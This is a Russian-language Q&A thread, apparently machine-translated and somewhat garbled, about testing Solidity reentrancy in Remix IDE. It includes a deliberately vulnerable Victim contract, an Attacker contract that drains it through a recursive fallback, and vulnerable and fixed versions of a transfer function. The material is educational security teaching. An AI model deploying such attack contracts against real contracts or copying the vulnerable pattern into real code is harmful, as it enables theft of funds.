Можно ли протестировать реентерабельность в remix IDE? если да, может ли кто-нибудь привести пример того, как.
Вот классический пример повторной атаки. Вы можете увидеть, как это работает, посмотрев, как функция атаки контракта злоумышленника взаимодействует с функцией вывода средств жертвы, функции, используемые жертвой для отправки эфира, и как резервная функция злоумышленника неоднократно вызывает функцию вывода средств жертвы.
Вы можете проверить это в Remix, развернув контракт жертвы, а затем контракт злоумышленника с адресом жертвы в качестве входных данных.
После вызова функции атаки вы можете проверить повторяющиеся изъятия по зарегистрированным событиям.
Вы можете использовать метод, аналогичный функции атаки, для тестирования других контрактов, которые имеют аналогичный шаблон, как функция отказа жертвы.
pragma solidity ^0.4.8;
contract Victim {
uint public owedToAttacker;
function Victim() {
owedToAttacker =11;
}
function withdraw() {
if (!msg.sender.call.value(owedToAttacker)()) revert();
owedToAttacker = 0;
}
// deposit some funds for testing
function deposit() payable {}
function getBalance() public constant returns(uint) { return this.balance; }
}
contract Attacker {
Victim v;
uint public count;
event LogFallback(uint count, uint balance);
function Attacker(address victim) payable {
v = Victim(victim);
}
function attack() {
v.withdraw();
}
function () payable {
count++;
LogFallback(count, this.balance);
// crude stop before we run out of gas
if(count < 30) v.withdraw();
}
function getBalance() public constant returns(uint) { return this.balance; }
}
Вот тривиальная уязвимая функция повторного входа, которая, по-видимому, меняет состояние после transfer
.
pragma solidity ^0.4.17;
contract Reentrant {
int x;
function bad() public returns(bool success) {
msg.sender.transfer(this.balance);
x = 0;
return true;
}
}
Вот предупреждение Remix о небезопасном шаблоне.
Вы можете решить проблему повторного входа с помощью «оптимистического учета». Просто нажмите, чтобы transfer
все получилось, и знайте, что revert
в случае transfer
неудачи произойдет изменение состояния.
pragma solidity ^0.4.17;
contract NotReentrant {
int x;
function good() public returns(bool success) {
x = 0;
msg.sender.transfer(this.balance);
return true;
}
}
Надеюсь, это поможет.
NowsyMe
Карлолм
owedToAttacker = 0;
фактически никогда не достигается до тех пор, пока злоумышленник не вызовет команду remove 30 раз.msg.sender.call.value(owedToAttacker)
вызывается 30 раз, в то время как owedToAttacker все еще 11, прежде чем он когда-либо изменится на 0NowsyMe
Карлолм
NowsyMe
Карлолм
if (count < 30) v.withdraw();
NowsyMe